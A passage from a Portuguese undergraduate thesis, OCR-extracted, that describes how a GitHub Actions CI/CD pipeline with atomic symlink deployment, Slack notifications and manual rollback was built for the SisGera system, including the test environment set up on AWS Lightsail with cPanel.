simultaneamente. Durante a implantagao, a aplicacdo pode executar versoes diferentes

simultaneamente, permitindo que parte do trafego seja atendida pela versao antiga e

parte pela nova (HANES, 2024). A estratégia minimiza o tempo de inatividade e reduz o

impacto para os usudrios finais, pois sempre ha uma versao da aplicacdao disponivel para

atender as requisi¢oes. O seu funcionamento é detalhado na Figura 8.

Figura 8 — Estratégia Rolling Deployment.
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Fonte: Hanes (2024).
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Segundo Grunwell (2019), o Atomic Deployment garante que a implantacao de
uma nova versao de uma aplicacao seja bem-sucedida ou totalmente revertida, sem deixar
o sistema em estado inconsistente. O objetivo é alcangar zero tempo de inatividade,
proporcionando uma transicao instantanea para a nova versao. A transicao é gerida por
meio de links simbdlicos (symlinks), no qual o symlink “current” aponta para a versao
ativa e ¢ atualizado somente quando a nova versao estd completamente pronta. Recursos
compartilhados (shared) sao vinculados as versoes usando symlinks. Em caso de falha, o
processo de reversao (rollback) é facilitado, pois o symlink current pode ser rapidamente

redirecionado para uma versao anterior estavel.

A Figura 9 ilustra a estrutura de diretérios da estratégia, na qual cada nova versao
da aplicagado, nomeada por seu timestamp de criacao, ¢ implantada em um diretério
proprio dentro de releases. O mecanismo de atualizacdo atomica consiste em redirecionar
o link simbdlico current para a nova versao, garantindo uma transi¢cao instantanea e

mantendo o acesso a recursos persistentes no diretério shared.

Figura 9 — Estratégia Atomic Deployment.
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Fonte: Elaborado pelo autor.
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2.4 Ferramentas de CI/CD

Esta secao apresenta as principais ferramentas disponiveis no mercado utilizadas
para implementagao de pipelines de Integragdo Continua / Implantagdo Continua, desta-
cando suas caracteristicas e critérios relevantes para sua aplicagdo no SisGera. A escolha
das ferramentas adequadas ao sistema deve levar em consideragao fatores como custo,

usabilidade, e a sustentabilidade ao longo do tempo.

2.4.1 GitLab CI/CD

O GitLab CI/CD é uma solucao integrada a plataforma GitLab que permite a
criacao de pipelines para automagao de processos de CI/CD. Suas configuragoes sao
realizadas por meio de arquivos YAML Ain’t Markup Language (YAML), por padrao o
arquivo principal é denominado “gitlab-ci.yml”  armazenado diretamente no reposito-
rio do projeto (GITLAB, 2024b). A ferramenta oferece duas opgoes de hospedagem e
gerenciamento, sendo elas por gerenciamento proprio (self-managed) e software como
servigo (Software as a Service (SaaS)). Essa modalidade como servigo elimina a necessi-

dade de gerenciar infraestrutura local e configuragoes préprias, preocupando apenas com
planos de assinatura (GITLAB, 2024a).

Além disso, o GitLab CI/CD como Saa$ oferece diferentes planos para necessidades
especificas, cada um com suas caracteristicas. O SisGera é um projeto que necessita
evadir de custos, entdo a escolha de uma ferramenta acessivel ird ter peso. A Tabela 1

exibe as caracteristicas do plano gratuito do GitLab CI/CD.

Tabela 1 — Recursos do plano gratuito do GitLab CI/CD.

Recurso Descricao
. 400 minutos/més para executores
Minutos de CT/CD gerenciados pelo GitLab
Até 5 usudrios por grupo
de nivel superior
Execucgao de executores depende
de entrada em filas
Executores sao atualizados e
mantidos pelo préprio GitLab

Numero de Usuéarios

Espera em fila

Atualizacao dos Executores

Fonte: Elaborado pelo autor.
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2.4.2 GitHub Actions

O GitHub Actions é uma ferramenta integrada a plataforma GitHub que permite
automatizar processos personalizados, como CI/CD. Ele é projetado para funcionar
nativamente com os repositorios de codigo hospedados no GitHub, facilitando a automacao
diretamente na plataforma. No GitHub Actions, os pipelines de automacao sdo chamados
de “workflows” e sao configurados por meio de arquivos no formato YAML. Esses arquivos
sao armazenados no diretério “.github/workflows”, diretério padrao e obrigatdrio para
os workflows (GITHUB, 2024a).

Existem diferentes planos oferecidos pelo GitHub Actions como Saa$S, seu plano
gratuito é bem vantajoso ao SisGera. Pelo repositério do projeto ser versionado no
GitHub, a familiaridade com a plataforma é maior, além disso o plano gratuito oferece
2.000 minutos para execucao de workflows (GITHUB, 2024b). A Tabela 1 exibe as

caracteristicas do plano gratuito do GitHub Actions.

Tabela 2 — Recursos do plano gratuito do GitHub Actions.

Recurso Descricao

) 2.000 minutos/meés para executores
Minutos de CI/CD gerenciados p/elo GIi)tHub Actions
Numero de Usuarios [limitado
Execucgao de executores depende

de entrada em filas

Executores sao atualizados e

mantidos pelo préprio GitHub
Fonte: Elaborado pelo autor.

Espera em fila

Atualizacao dos Executores

2.4.3 Jenkins

O Jenkins é uma das ferramentas mais populares e amplamente utilizadas no
mercado. Trata-se de uma solugdo open-source que permite a automagao de tarefas em
todo o ciclo de vida do desenvolvimento de software, incluindo os processos de CI/CD.
Sua flexibilidade é garantida por meio de uma extensa biblioteca de plugins, que permite
integra-lo com diversas ferramentas, linguagens de programacao e sistemas operacionais
(JENKINS, 2024a). A elaboragao de pipelines ocorre em arquivos “Jenkinsfile”, servindo
como a configuragao central para gerenciar as etapas de build, teste, entrega e deploy de
projetos de software (JENKINS, 2024b).

Ao contrario das outras ferramentas citadas, o Jenkins possui uma estrutura
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self-managed e por isso, toda as configuragoes e manutenibilidade é feita pelo usuario.
A complexidade envolvida para as configuragoes do servidor do Jenkins e das questoes
de infraestrutura levantam pontos negativos para sua escolha. Ha também possibilidade
de hospedar o servidor em uma maquina virtual de provedores de solugoes em nuvem
com pré-configuragoes, algo que facilitaria seu uso. A Tabela 3 exibe as caracteristicas

da ferramenta.

Tabela 3 — Recursos do Jenkins.

Recurso Descricao
Minutos de CI/CD [limitado
Numero de Usuarios [limitado
Espera em fila Nao ha espera em fila
Atualizacao dos Executores Executores/ sao atua}lz'ados
pelo préprio usuario

Fonte: Elaborado pelo autor.

2.4.4 BitBucket Pipelines

O Bitbucket Pipelines é uma solugao SaaS que esta integrado diretamente ao
Bitbucket Cloud, a plataforma de hospedagem de cédigo-fonte baseada em nuvem da
Atlassian. Ele elimina a necessidade de gerenciar infraestrutura local e atende apenas ao
Bitbucket como sistema de versionamento de cédigo (ATLASSIAN, 2024).

As pipelines sao configurados utilizando um arquivo no formato YAML, denomi-
nado “bitbucket-pipelines.yml”, que deve ser armazenado na raiz do repositério. Esse
arquivo descreve as etapas (steps) e comandos (scripts) que compdem o pipeline, como
tarefas de build, testes e implantacao. Além disso, a ferramenta suporta a organizacao
modular dos pipelines, permitindo que etapas ou configuracoes sejam referenciadas em
outros arquivos YAML ou scripts externos. A Tabela 4 detalha caracteristicas do plano

gratuito da BitBucket Pipelines.
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Tabela 4 — Recursos do plano gratuito do BitBucket Pipelines.

Recurso Descricao
. 50 minutos/més para executores
Minutos de C1/CD gerenciados pelo BitBucket
Numero de Usuarios [limitado
Execucao de executores depende
de entrada em filas
Executores sao atualizados e
mantidos pelo proprio BitBucket

Espera em fila

Atualizacao dos Executores

Fonte: Elaborado pelo autor.

2.5 Consideracoes Finais

Este capitulo discutiu os conceitos fundamentais necessarios a compreensao do
presente trabalho, além de apresentar os pontos de partida para a orientacao das escolhas
das ferramentas e das estratégias utilizadas no desenvolvimento do pipeline CI/CD e no

seu funcionamento.

Com diversas opc¢oes de escolhas de ferramentas que lidam com o processo de
CI/CD, a opgao que mais se adapta ao escopo do SisGera é o GitHub Actions. Um dos
principais fatores que justificam essa escolha é a integracao nativa com o GitHub, no
qual o repositorio do SisGera ja estda hospedado. Essa integracao elimina a necessidade
de configuragoes complexas ou de conectores adicionais para sincronizar o repositério,

como uma ferramenta igual ao Jenkins faria.

Outro fator é que o plano gratuito oferece muitos minutos mensais, e isso atenderia
bem ao projeto. Esse ponto garante que o pipeline possa ser executado sem custos adicio-
nais, uma exigéncia importante para a sustentabilidade de um projeto que visa atender
a demandas publicas e é mantido de modo colaborativo. Portanto, o GitHub Actions
se apresenta como a melhor escolha para o pipeline do SisGera, combinando integracao
nativa, custo zero, simplicidade de configuracao e alinhamento com as demandas do

projeto.

Além dos critérios objetivos mencionados, é importante considerar a experiéncia
do usudrio com a ferramenta. Virtanen (2021) realizando um estudo comparando diversas
solugoes de CI/CD identificou que, embora todas cumpram adequadamente as etapas
de um pipeline bésico, nao é possivel recomendar uma tnica ferramenta como a melhor,

visto que a eficiéncia de uso estd diretamente relacionada a familiaridade do usuério
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com a solugao adotada. Isso valida ainda mais a escolha pelo GitHub Actions, ja que
parte das pessoas envolvidas com o SisGera ja possui familiaridade com a plataforma do

GitHub, o que reduz a curva de aprendizado e potencializa a produtividade.
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3 Desenvolvimento

Neste capitulo, sao apresentadas as etapas, decisoes técnicas e solugoes adotadas
durante o desenvolvimento do pipeline CI/CD para o Sistema de Gerenciamento e Registro
de Atividades. Primeiramente, a Sec¢ao 3.1 aborda o processo de adaptagao ao sistema
e a analise de suas particularidades técnicas, destacando as dificuldades encontradas
e as respectivas solugoes implementadas. Em seguida, a Se¢ao 3.2 descreve a criagao
e configuracao de um ambiente de hospedagem para fins de testes e também de um
repositério auxiliar. Ja na Secao 3.3 é abordado a definicao da estratégia de implantagao
adotada. Para a Secao 3.4 é detalhado o desenvolvimento do pipeline automatizado e sua
aplicagdo pratica no ambiente real do SisGera. Por fim, a Se¢ao 3.6 detalha a elaboracao
da construcao do guia de uso e configuracao do pipeline, bem como boas praticas para

sustentabilidade do projeto.

3.1 Analise e Adaptacao ao Sistema

Antes de realizar qualquer modificacdo que pudesse impactar o comportamento
da aplicacao, foi necessario compreender a estrutura e implementacao do sistema. Essa
andlise do repositério foi essencial para entender suas limitagoes e definir as estratégias

para a implementagao do pipeline CI1/CD.

O primeiro passo consistiu na obtencao do cédigo-fonte disponivel no repositério,
seguido da instalacdo de suas dependéncias e da execucao do sistema. As contribuicoes
de Barros (2023) incluiram o uso do Docker para a distribuigao da aplicagao do SisGera.
O Docker é um software de codigo aberto de virtualizagao leve baseada em containers,
que permite empacotar, distribuir e executar aplicagoes de modo isolado e portatil
(DOCKER, 2025). Dado o beneficio proporcionado pelo Docker, a primeira tentativa de
execucao da aplicacao foi realizada utilizando o mesmo. No entanto, durante a construcao
da aplicacao via Docker, foi identificado um problema que ao iniciar o container, a
aplicacao nao encontrava o diretério “vendor”. Esse diretorio é responsavel por armazenar

as dependéncias dos pacotes da aplicacao.
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Figura 10 — Erro apresentado ao acessar aplicagao.

A @ localhost

‘Warning: require(/var/www/public/../vendor/autoload.php): failed to open stream: No such file or directory in /var/www/public/index.php on line 24

Fatal error: require(): Failed opening required "/var/www/public/../vendor/autoload.php' (include_path=":/usr/local/lib/php") in /var/www/public/index.php on line 24

Fonte: Elaborado pelo autor.

Figura 11 — Carregamento da aplicagdo apds corregao.

[l @ localhost/login

9,

SisGera
Sistema de Gerenciamento e Registro de Atividades

Servigos publicos Acesso exclusivo para funciondrios.
Efetue login para iniciar a sesséo.

Gerar Ocorréncia

Matricul: 2

Validar Ocorréncia
Senha &

Estd com alguma divida ou problema?
() Lembraraidentificagdo do usudrio

Fonte: Elaborado pelo autor.

A Figura 10 exibe detalhadamente o erro apresentado na tentativa de acesso da
aplicacao. J& na Figura 11 ela exibe o carregamento da aplicagdo apds a corregao. A
causa do problema estava na configuracao do “Dockerfile”; esse arquivo é responsavel
pela criagao de imagens Docker. Ele define todas as instrugoes necessarias para construir

um ambiente executavel para a aplicagao.

3.2 Elaboracido do Ambiente de Testes

A criacao de um ambiente de hospedagem similar ao ambiente real do SisGera
foi necessaria. Isso possibilitou compreender o ambiente que gerencia a hospedagem e

também de evitar comprometer o ambiente real com qualquer modificagao realizada. O
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ambiente real é administrado com o cPanel. Ele oferece uma interface intuitiva para
administrar dominios, e-mails, bancos de dados, arquivos e configuracoes do servidor, sem
a necessidade de conhecimentos avangados em administracao de servidores (CPANEL,
2025). Além disso, foi elaborado um repositério auxiliar da aplicagdo no GitHub para

estudo de configuragoes e envio de modificagoes testes.

3.2.1 AWS Lightsail

A Amazon oferece diversos servigos na sua plataforma Amazon Web Services
(AWS). Um dos servigos que possibilitaram a criacdo de um ambiente isolado compondo
uma hospedagem e licenca do cPanel foi o Amazon Lightsail, uma solu¢ao que fornece
servidores virtuais privados de maneira simplificada e com um custo previsivel. A escolha
por essa plataforma se deu principalmente pelas facilidades oferecidas no plano “free

tier”, que permitiu a implementacgao e teste do ambiente sem custos iniciais.

O objetivo da utilizacdo do Amazon Lightsail foi criar um ambiente isolado que
permitisse a implementacao do pipeline CI/CD sem interferir diretamente no servidor
de hospedagem do SisGera. Dessa maneira, foi possivel validar as etapas do fluxo de
integragdo e implantacao continua antes de ser realizado em produgdo, garantindo maior
confiabilidade ao processo. Para a construcao do ambiente de hospedagem, foram seguidas

as seguintes etapas:

1. Provisionamento da Instancia

Inicialmente, foi criada uma instancia no AWS Lightsail com sistema operacional
AlmaLinux, compativel com a instalacdo do cPanel e uma licenca de 15 dias
para seu uso. A escolha do plano levou em consideracao os requisitos minimos do
cPanel, incluindo a necessidade de meméria RAM, processamento e armazenamento
suficientes para suportar o funcionamento do ambiente de testes. A Figura 12 e a

Figura 13 exibem a selecao de configuragoes disponiveis para a instancia.
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Figura 12 — Selecao de configuracao de aplicagoes e sistema operacional da instancia.

[ Search documentation

@ Amazon Lightsail

)

Pick your instance image i

Home

Lightsail for Research @

S The instance image you pick determines the operating system and whether there are any included applications in your instance.

Select a platform

2, Rafael-Teste (211125731432) v

(0]

Linu/Unix

e

[

Microsoft Windows

28 blueprints 6 blueprints
Select a blueprint
Apps + OS Operating System (OS) only
&%, WordPress WordPress Multisite o] LAMP (PHP 8) Node]s
{ W H W o } &
O Jcomla [e] Magento [e] MEAN Drupal
247 7016 1042
o) GitLab CE O 4w Redmine Nglnx O == Ghost
7820 X 253 - 51096
(o) Django O . Prestashop Plesk Hosting Stack (<] P cPanel & WHM
4215 3 820 on Ubuntu (8YOL) €19 amaLinux

18.0.62

RELEASE Tier

for’

B Cloudshell Support Feedback

©2025, Amazon

Fonte: Elaborado pelo autor.

web Services,

Inc. or its affiliates.

Privay (2 Terms [2

Figura 13 — Selecao de configuracao de hardware da instancia.

@ Amazon Lightsail [ Search documentation ] Home Lightsail for Research @ 2, Rafael-Teste (211125731432) ¥
= Select a size
= (0]
$5 $7 %12 O$24
USD per month USD per month
512 MB 1GB 2GB Memory 4GB Memory
2vCPUs 2vCPUS 2VCPUs Processing 2 vCPUs Processing
20 GB SSD 40 GB 55D 60 GB SSD Storage 80 GB S5D Storage
178 278 3B Transfer 478 Transfer
Not availabie for selected Not available for selected
blueprint blueprint
O $44 O ¢$84 O $164 O $384
USD per month USD per month USD per month USD per month
8GB Memory 16 GB Memory 32 GB Memory 64 GB Memory
2 VCPUs Processing 4VCPUs Processing 8 VCPUSs Processing 16 VCPUs Processing
160 GB SSD Storage 320 GB SSD Storage 640 GB SSD Storage 1,280 GB SSD Storage
5TB Transfer 6TB Transfer 7B Transfer 8T8 Transfer
[J CloudShell Support Feedback ©2025, Amazon Web Services, Inc. or its affiliates.  Privacy [A  Terms [2

Fonte: Elaborado pelo autor.

2. Licenciamento e Validacao

Para garantir o pleno funcionamento do cPanel, foi necesséria a ativagao de uma
licenca valida. Essa licenca permitiu a utilizagao completa dos recursos do painel,

possibilitando a replicacao do ambiente de produgao.

3. Instalacdo e Configuragdo do cPanel
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Com a instancia provisionada, foi realizada a instalacdo do cPanel a partir do script
oficial fornecido pelo cPanel e a ativacao da licenca de uso. Apds a conclusao da
instalagdo, a interface administrativa do Web Host Manager (WHM) foi acessada
para a configuracao inicial, incluindo ajustes de versoes do PHP, MySQL, contas

de usudrio e permissdes para acesso remoto.

4. Ajustes Finais e Testes

Apos as configuracoes iniciais, foram realizados testes para verificar o funcionamento

correto do ambiente. Isso incluiu:

« Validagao do acesso ao cPanel e WHM,;

e Acesso do terminal do servidor via painel de usuario;
» Verificagao da versao do PHP e MySQL;

« Criacao e uso de chave Secure Shell (SSH);

o Testes de deploy automatizado via pipeline CI/CD;

3.2.2 Repositério Auxiliar

A elaboragao de um repositério auxiliar foi demandada para que configuragoes
que envolvam o repositorio nao afetem o real. As configuragoes envolveram a criacao de
varaveis de segredo, chamadas comumente de “secrets”. Elas sao variaveis de ambiente
protegidas usadas para armazenar informagoes sensiveis, como chaves de API, tokens
de acesso, credenciais de banco de dados e outros dados que nao devem ser expostos no
codigo-fonte (GITHUB, 2025). Os secrets sao criptografados e geralmente utilizados no
GitHub Actions, a plataforma de automacao do GitHub, no qual podem ser acessados

dentro dos fluxos de automagao.

A Figura 14 mostra o ambiente de armazenamento de secrets, bem como al-
gumas das que foram utilizadas. Dentre essas variaveis de segredos, foram utilizadas:
“SERVER_IP” “SERVER_ USERNAME” “SSH PRIVATE KEY”, “SLACK_ CI
CHANNEL”, “SLACK_CD_CHANNEL” e “SLACK_ROLLBACK__CHANNEL”. A
variavel SERVER, TP armazena o endereco IP do servidor remoto para onde a aplica-
¢ao serd implantada, garantindo que a automacao do GitHub Actions saiba para onde
direcionar os arquivos. A variavel SERVER USERNAME contém o nome de usuario
com permissoes para acessar o servidor via SSH e executar os comandos necesséarios
para a implantagao. J4 a SSH_PRIVATE KEY contém a chave privada SSH necesséria

para autenticar a conexao entre o repositorio e o servidor remoto de maneira segura. As
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variaveis com o prefixo “SLACK” referem-se aos canais de comunicagao da aplicagao
Slack e tém a funcao de configurar os mecanismos de notificagdo relacionados a execucao
do pipeline CI/CD. Cada varidvel estd vinculada a um canal especifico, por meio do
qual s@o enviadas mensagens automaticas que informam o status das tarefas executadas,

sinalizando eventos de sucesso ou falha ao longo do processo.

Figura 14 — Armazenamento das variaveis de segredo.

@ [ % github.com/Racamposx/sisgera-test/settings/secrets/actions

& General Actions secrets and variables

Access . . .
Secrets and variables allow you to manage reusable configuration data. Secrets are encrypted and are used for sensitive

A Collaborators Variables are shown as plain text and are used for non-sensitive data. Learn more
ak
Code and automation Anyone with collaborator access to this repository can use these secrets and variables for actions. They are not passed to

T " workflows that are triggered by a pull request from a fork.
ranches

Secrets VEUEDIE

Repository secrets New repository secret
&5 Webhooks
Name =1 Last updated
& Codespaces
= Codespaces
B SERVER TP
5 Pages -

. O SERVER_USERNAME last month
Security -

@ C ecurity
©! Grda ety B SSH_KEY_PASSWORD [p—.
&£ Deploy keys

(¥ : SSH_PRIVATE_KEY

[*] Secrets and variables =) & =

Actions

Fonte: Elaborado pelo autor.

Além da configuracao dos secrets, foi criado um workflow no GitHub Actions
para iniciar a automacao da Implantacao Continua. A Figura 15 mostra o histérico de
execugoes desses workflows no repositorio auxiliar, o que facilita a rastreabilidade das

alteracoes e permite uma resposta mais rapida em caso de erros.
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Figura 15 — Histérico de execugao de Workflows.

(e [ % github.com/Racamposx/sisgera-test/actions

All workflows Q Filter workflow runs
Actions New workflow Showing runs from all workflows

All workflows

38 workflow runs Event v  Status ~ ranch ¥ Actor ~

.github/workflows/ftp-workflow.ym|
Deploy Teste = -
ey e fix: updates login label
Deploy Teste #20: Commit 232
Management
& Caches @ feat(login page): includes dummy text.

& Attestations Deploy Commit 70f1523 d by Racamposx

ES Runners

hot fix
Usage metrics
Deploy Teste #18: Commit 8fbfca2 pushed by Racamposx

rformance metrics

2 feat: includes symlink pointing to the new release

Deploy Teste #

chore: removes unused workflow

Deploy

fix: fixes identation

github/vorkflows/ftp-workflowyml #18: Co

Fonte: Elaborado pelo autor.

3.3 Estratégia de Deploy Adotada

No Capitulo 2, especificamente na Subsecao 2.3.1, foram cobertas estratégias
de implantacao que serviram como norteadores para conduzir uma estratégia que fosse
condizente com a estrutura atual do SisGera. A estratégia Atomic Deployment se adéqua
bastante as caracteristicas e limitacoes do ambiente de hospedagem que a aplicagao se

encontra, por isso ela foi adotada.

A Figura 16 ilustra a organizacao da estrutura de diretérios empregada para
implementar essa abordagem. O diretorio “releases” contém diferentes versdes da aplicacao,
como Current e Previous, representando as versoes atual e anterior, respectivamente. O
diretério “shared” armazena os recursos persistentes, que nao sao versionados, necessarios
para o funcionamento continuo da aplicacao, tais como o diretorio “storage”, que guarda

“env”, que contém as variaveis de ambiente e

arquivos de logs e caches, e o arquivo
configuragoes essenciais. Ja o diretério “public_html” é onde os arquivos ptublicos da
aplicacao ficam acessiveis, sendo composto por links simbélicos que apontam para os
arquivos da versao atualmente ativa. Esses links garantem que a transi¢do entre versoes

ocorra sem necessidade de copiar ou mover arquivos manualmente.
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Figura 16 — Estrutura de diretérios da estratégia de deploy.

I— shared/

| |— storage/
| L _env

I— releases/
| I— Current/

| L Previous/
L— public_html/
I— index.php -»> ../releases/Current/public/index.php

I— css5 -> ..freleases/Current/public/css
I— js -» ../releases/Currentfpublic/js
I— dist -> ../releases/Current/public/dist

— ..

L _htaccess -> ../releases/Current/public/.htaccess

Fonte: Elaborado pelo autor.

Com essa organizacao, sempre que uma nova versao é implantada, seus arquivos
sao enviados para um novo diretério dentro de “releases”. Em seguida, a estrutura de
links simbodlicos é atualizada para apontar para essa nova versao, e os diretorios sao
atualizados para que a nova versao componha o nome “Current” e a antiga “Previous”.
Caso seja necessario reverter o processo de deploy, basta alterar o link simbélico para
apontar para a versao anterior, sem necessidade de reprocessamento ou transferéncia de

arquivos adicionais.

Essa estratégia adotada foi inicialmente pensada no ambiente de teste. Porém, sua
composi¢ao no ambiente real precisaria ser levemente alterada, ja que o SisGera possui
dois ambientes. Um para homologacao e outro para producao. A pasta “public_ html”
do servidor original compartilha o diretério “root” de cada dominio dos ambientes, ele
é o diretorio onde ficam armazenados os arquivos do site que serao exibidos quando o
dominio for acessado. A Figura 17 representa a estrutura de diretérios do servidor do
SisGera. Existe uma separacao de diretérios para cada ambiente, dessa vez essa estrutura

consta com o nome de cada ambiente para sua identificacao.
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Figura 17 — Estrutura de diretérios da estratégia adaptada ao ambiente do SisGera.

I— shared sisgera/

| I— storage/
| L _env

I— shared _homologacao/
| I— storage/
| L env
I— releases_sisgera/
I— Current/
L Previous/
releases_homologacao/
I— Current/
L Previous/
L public_html/
I— index.php -> ../releases_sisgera/Current/public/index.php
I— css -> ../releases_sisgera/fCurrent/public/css
I— js -» ../releases_sisgera/Current/public/js
|— dist -> ../releases_sisgera/Current/public/dist
— ...
|— .htaccess -> ../releases_sisgera/Current/public/.htaccess
L homologacao/

I— index.php -> ../releases_homologacao/Current/public/index.php

I— css -> ../releases homologacao/Current/public/css
I— js -» ../releases_homologacao/Current/public/js
I— dist -> ../releases_homologacao/Current/public/dist

— ...

L _htaccess -> . -./releases_homologacao/Current/public/.htaccess

Fonte: Elaborado pelo autor.

3.4 Desenvolvimento do pipeline Cl/CD

Com o ambiente de testes e a estratégia de implantacao definidos, foi possivel
iniciar o desenvolvimento do pipeline de Integragao Continua / Implantagao Continua,
utilizando a ferramenta GitHub Actions. O pipeline desenvolvido foi segmentado em trés
acoes principais: Integracao Continua, Implantacao Continua e mecanismo de rollback,
cada qual com responsabilidades bem definidas e executadas em diferentes contextos de

operagao.

Além disso, foi implementado um ambiente de comunicacdo para que todas
as acoes do pipeline fossem notificadas assim que executadas. Para isso, utilizou-se o
aplicativo Slack, uma plataforma de comunicacao e colaboragao em equipe que centraliza
conversas, arquivos e ferramentas em um unico ambiente, facilitando a comunicagao

interna e o gerenciamento de projetos.
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3.4.1 Integracao Continua

A etapa de Integracao Continua é executada automaticamente sobre a branch
“main” e “develop”, sendo acionada sempre que ha um push de c6digo para essa ramificacao
via merge. Seu proposito é verificar a integridade e a qualidade do cédigo antes da
promocao para o ambiente de producao ou homologacao. Durante essa etapa, diversas

agoes sao realizadas sequencialmente:
1. Notificagao inicial via Slack, sinalizando o inicio do processo de integracao.

2. Checkout do cédigo-fonte do repositério.

3. Configuragdo do ambiente PHP, com a instalacdo de extensoes e ferramentas

compativeis com a aplicacao.
4. Gerenciamento de dependéncias com o Composer.
5. Execucao de verificagao de estilo de codigo utilizando a ferramenta PHP-CS-Fixer.
6. Construcao da aplicagao via Docker.
7. Execucao de migragoes do banco de dados.
8. Execucao dos testes unitarios escritos.
9. Notificacao final via Slack, informando o sucesso ou falha em uma das etapas

executadas.

A automatizacao desses testes e validacoes evita que erros simples sejam propaga-
dos para os ambientes de homologagao ou produgao. E importante ressaltar que pelo fato
do SisGera ser um projeto colaborativo por discentes, nem sempre a escrita de testes
para o projeto estara presente para as novas contribui¢oes. Portanto, além da validagao
do processo localmente e da agdo de CI, é necessario uma validacao em conjunta com os

orientadores do projeto.

3.4.2 Implantacdo Continua

A Implantagao Continua ocorre quando ha alteragoes nas branches “develop” e
“main”. Na develop, somente apods aprovacao na CI o cdédigo é implantado no ambiente

de homologacao para validagao das novas implementagoes. A main é a ramificacdo que
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representa a versao estavel da aplicacao, apta a ser disponibilizada em producao. No fluxo
de CD, a conexao com o servidor remoto ¢é feita via SSH, utilizando chaves criptograficas

armazenadas como varidveis de ambiente seguras (secrets).

Os arquivos da nova versao sao transferidos para um diretério dentro do repositorio
remoto. Posteriormente, os links simbdlicos respectivos do ambiente sao atualizados para
apontar para a nova versao da aplicagao, conforme a estratégia Atomic Deployment.
Notificagoes em tempo real sobre o sucesso ou falha da implantacdo sao enviadas para
um canal especifico do Slack das operacoes de CD, promovendo a transparéncia e o

acompanhamento continuo da operacao.

3.4.3 Rollback Manual

Complementando o processo de automacao, foi desenvolvido um workflow espe-
cifico para reverter a aplicacdo para a versao anterior em caso de falhas identificadas
no ambiente de produc¢ao e homologagao. Esse mecanismo de rollback representa uma
salvaguarda importante no ciclo de vida da aplicagdo, permitindo restaurar rapidamente
um estado funcional conhecido, minimizando o tempo de indisponibilidade e os impactos

causados por eventuais problemas apds uma atualizagao.

Diferentemente das etapas de CI e CD, o rollback nao é acionado automaticamente,
uma vez que sua execucao esta condicionada a validacdo e confirmac¢ao manual por parte
dos envolvidos do projeto. A decisdao por manter essa etapa como um gatilho manual
busca evitar reversoes precipitadas e dd margem para uma andlise rapida dos logs e
sintomas apresentados antes de optar pela reversao. O fluxo de rollback, implementado
como um workflow separado no GitHub Actions, executa as seguintes acoes de maneira

automatizada:

1. Estabelece uma conexao segura com o servidor remoto via SSH, utilizando o mesmo

par de chaves previamente configuradas para a etapa de CD.

2. Verifica a existéncia de um diretorio rotulado como Previous, que contém a versao
imediatamente anterior da aplicagao. Esse diretério é criado automaticamente em

cada nova implantagao como parte da estratégia de versionamento.

3. Atualiza os links simbélicos que definem qual versao esta sendo utilizada no ambiente
acionado, redirecionando-os para apontar novamente para o diretorio da tultima

versao estavel.
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O mecanismo garante rapida recuperacao em caso de erros, sem necessidade de
transferéncias adicionais de arquivos ou intervencao direta no ambiente. Além disso, a
equipe € notificada via Slack sobre a execucao do procedimento, incluindo o horario, o
responsavel pela acao e o resultado do processo. A Figura 18 exibe como esta configurado

o fluxo de rollback, podendo especificar em qual ambiente serd executada a acao.
Figura 18 — Acao manual de rollback no painel de agoes do GitHub Actions.

Rollback de Deploy

9 workflow runs

This workflow has a workflow dispatch event trigger. Run workflow ~

Use workflow from

Branch: main v

© Rollback de Deploy
Rollback #9: Manually r
Ambiente para o rollback (producao =
@ Rollback de Deploy sisgera)
Deploy #8: Manually run by Racampos producao

producao

homologacao

Rollback de Deploy

Rollback de Deploy #7: Manually r

Rollback de Deploy

Rollback de Deploy #6: Manually r

Rollback de Deploy
R 5: Manually run by R

@ Rollback de Deploy

Rollback de

Fonte: Elaborado pelo autor.

3.5 Dificuldades observadas no SisGera

Durante o desenvolvimento do pipeline CI/CD, observaram-se impasses que
dificultaram sua construgao. O SisGera nao possui um conjunto de migragoes completo
até o estado atual do banco de dados em producao, o que impacta diretamente o pipeline
CI/CD. A Integracao Continua inclui uma etapa de execugao das migragoes, verificando
a consisténcia da estrutura e a auséncia de erros. Para a Implantacao Continua, ter
migracoes completas é fundamental, pois a aplicacdo de alteragoes de banco precisa
ocorrer junto ao processo de implantacao. Além disso, as migragoes viabilizam rollback

em caso de falhas.

Para contornar essas dificuldades, analisou-se toda a estrutura do schema do
banco de dados hospedado. Utilizando o phpMyAdmin, ferramenta de administragao

MySQL, foi possivel inspecionar as tabelas, suas colunas e restrigoes. A Figura 19 exibe
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o conjunto de tabelas e registros; nota-se a auséncia de uma tabela de migragoes, que

registraria o histérico de execugoes e a evolugao do banco.

Figura 19 — Menu principal do phpMyAdmin exibindo o banco de dados do SisGera.

Tabela = Agdo Linhas & Tipo Colagio Tamanho Sobrecarga
(J atendimento ¥ [ Visualizar [}# Estrutura % Procurar e Inserir I Limpar @ Eliminar 560 InnoDB  latin1_swedish_ci 96.9 KB -
[J boincendio ¢ [ Visualizar e Estrutura % Procurar ¥ Inserir §§ Limpar @ Eliminar 1 InnoDB  latin1_swedish_ci  128.8 KB -
[J boresgate ¥r [ Visualizar [}# Estrutura % Procurar 3¢ Inserir I Limpar @ Eliminar 370 InneDB  latin1_swedish_ci 384.2 KB -
(J bosimplificado ¢ ] Visualizar s Estrutura % Procurar 3 Inserir I Limpar @ Eliminar 24 InnoDB latin1_swedish_ci 96.9 KB -
[J chamados ¢ [ Visualizar [} Estrutura % Procurar 3 Inserir §§ Limpar @ Eliminar @ InnoDB  utf8mb4_unicode_ci  64.8 KB -
(] combate ¥ ] Visualizar s Estrutura & Procurar 3 Inserir [ Limpar @ Eliminar 1 InnoDB  latin1_swedish_ci 16.9 KB -
0 comentarios_chamade < | Visualizar [4 Estrutura % Procurar & Inserir I Limpar @ Eliminar e InnoDB  utfdmb4_unicode ci  48.8 KB -
[J corporacac ¢ [ Visualizar Je Estrutura % Procurar 3 Inserir i Limpar @ Eliminar 5 InnoDB  latin1_swedish_ci 32.8 KB -
[J doacao ¥r [ 1] Visualizar [jr Estrutura % Procurar 3¢ Inserir I Limpar @ Eliminar 2 InnoDB  latin1_swedish_ci 64.08 KB -
[J escolaridade ¢ | Visualizar }s Estrutura % Procurar &< Inserir & Limpar (@ Eliminar g InnoDB  latin1_swedish_ci 16.8 KB -
[0 estado_civil P [ Visualizar [ Estrutura % Procurar ¥ Inserir §§ Limpar @ Eliminar 6 InnoDB  latin1_swedish_ci 16.8 KB -
(] historico_usuario % ] Visualizar s Estrutura & Procurar 3 Inserir g Limpar @ Eliminar @8 InnoDB  latin1_swedish_ci 32.0 KB -
